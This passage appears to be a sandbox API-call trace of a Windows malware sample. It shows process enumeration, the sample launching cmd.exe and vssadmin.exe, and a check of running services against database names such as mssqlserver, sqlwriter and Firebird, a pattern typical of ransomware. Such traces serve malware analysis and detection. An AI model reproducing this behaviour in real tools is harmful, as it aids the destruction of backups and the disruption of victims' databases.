hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0193.611] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0193.611] lstrlenW (lpString="System") returned 6 [0193.611] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0193.612] lstrlenW (lpString="smss.exe") returned 8 [0193.612] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0193.612] lstrlenW (lpString="csrss.exe") returned 9 [0193.612] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0193.613] lstrlenW (lpString="wininit.exe") returned 11 [0193.613] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0193.613] lstrlenW (lpString="csrss.exe") returned 9 [0193.613] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0193.614] lstrlenW (lpString="winlogon.exe") returned 12 [0193.614] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0193.614] lstrlenW (lpString="services.exe") returned 12 [0193.614] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0193.615] lstrlenW (lpString="lsass.exe") returned 9 [0193.615] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0193.615] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0193.615] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0193.616] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0193.616] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.616] lstrlenW (lpString="svchost.exe") returned 11 [0193.616] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.617] lstrlenW (lpString="svchost.exe") returned 11 [0193.617] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0193.617] lstrlenW (lpString="dwm.exe") returned 7 [0193.617] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.618] lstrlenW (lpString="svchost.exe") returned 11 [0193.618] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.618] lstrlenW (lpString="svchost.exe") returned 11 [0193.618] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.619] lstrlenW (lpString="svchost.exe") returned 11 [0193.619] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.619] lstrlenW (lpString="svchost.exe") returned 11 [0193.619] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.620] lstrlenW (lpString="svchost.exe") returned 11 [0193.620] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.620] lstrlenW (lpString="svchost.exe") returned 11 [0193.620] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.621] lstrlenW (lpString="svchost.exe") returned 11 [0193.621] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.621] lstrlenW (lpString="svchost.exe") returned 11 [0193.621] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.622] lstrlenW (lpString="svchost.exe") returned 11 [0193.622] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.622] lstrlenW (lpString="svchost.exe") returned 11 [0193.622] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0193.623] lstrlenW (lpString="spoolsv.exe") returned 11 [0193.623] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.623] lstrlenW (lpString="svchost.exe") returned 11 [0193.623] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0193.624] lstrlenW (lpString="audiodg.exe") returned 11 [0193.624] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0193.624] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0193.624] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0193.624] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0193.625] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0193.625] lstrlenW (lpString="Memory Compression") returned 18 [0193.625] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0193.626] lstrlenW (lpString="sihost.exe") returned 10 [0193.626] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.626] lstrlenW (lpString="svchost.exe") returned 11 [0193.626] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0193.627] lstrlenW (lpString="taskhostw.exe") returned 13 [0193.627] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0193.627] lstrlenW (lpString="msoia.exe") returned 9 [0193.627] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0193.628] lstrlenW (lpString="explorer.exe") returned 12 [0193.628] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0193.628] lstrlenW (lpString="SearchUI.exe") returned 12 [0193.628] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0193.629] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0193.629] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0193.629] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0193.629] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0193.630] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0193.630] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0193.630] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0193.630] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0193.631] lstrlenW (lpString="cmd.exe") returned 7 [0193.631] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0193.631] lstrlenW (lpString="conhost.exe") returned 11 [0193.631] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1a8, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0193.632] lstrlenW (lpString="consent.exe") returned 11 [0193.632] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0193.632] lstrlenW (lpString="vssadmin.exe") returned 12 [0193.632] Process32NextW (in: hSnapshot=0x3e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0193.633] CloseHandle (hObject=0x3e4) returned 1 [0193.633] Sleep (dwMilliseconds=0x1f4) [0194.232] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x447b288 [0194.232] EnumServicesStatusExW (in: hSCManager=0x447b288, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0194.233] GetLastError () returned 0xea [0194.233] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c94) returned 0x44e6180 [0194.233] EnumServicesStatusExW (in: hSCManager=0x447b288, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x44e6180, cbBufSize=0x1c94, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x44e6180, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0194.234] CloseServiceHandle (hSCObject=0x447b288) returned 1 [0194.234] lstrlenW (lpString="Appinfo") returned 7 [0194.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0194.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0194.234] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0194.234] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0194.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0194.234] lstrlenW (lpString="AppXSvc") returned 7 [0194.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0194.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0194.234] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0194.234] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0194.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0194.234] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0194.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0194.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0194.234] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0194.234] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0194.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0194.235] lstrlenW (lpString="Audiosrv") returned 8 [0194.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0194.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0194.235] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0194.235] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0194.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0194.235] lstrlenW (lpString="BFE") returned 3 [0194.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0194.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0194.235] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0194.235] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0194.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0194.235] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0194.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0194.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0194.235] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0194.235] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0194.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0194.235] lstrlenW (lpString="CDPSvc") returned 6 [0194.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0194.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0194.235] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0194.235] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0194.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0194.235] lstrlenW (lpString="ClickToRunSvc") returned 13 [0194.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0194.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0194.235] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0194.235] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0194.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0194.236] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0194.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0194.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0194.236] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0194.236] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0194.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0194.236] lstrlenW (lpString="CryptSvc") returned 8 [0194.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0194.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0194.236] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0194.236] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0194.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0194.236] lstrlenW (lpString="DcomLaunch") returned 10 [0194.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0194.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0194.236] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0194.236] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0194.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0194.236] lstrlenW (lpString="DeviceAssociationService") returned 24 [0194.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0194.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0194.236] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0194.236] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0194.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0194.236] lstrlenW (lpString="Dhcp") returned 4 [0194.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0194.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0194.236] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0194.236] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0194.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0194.237] lstrlenW (lpString="Dnscache") returned 8 [0194.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0194.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0194.237] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0194.237] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0194.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0194.237] lstrlenW (lpString="DPS") returned 3 [0194.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0194.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0194.237] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0194.237] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0194.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0194.237] lstrlenW (lpString="DsmSvc") returned 6 [0194.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0194.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0194.237] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0194.237] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0194.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0194.237] lstrlenW (lpString="DusmSvc") returned 7 [0194.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0194.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0194.237] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0194.238] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0194.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0194.238] lstrlenW (lpString="EventLog") returned 8 [0194.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0194.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0194.238] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0194.238] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0194.238] lstrcmpiW 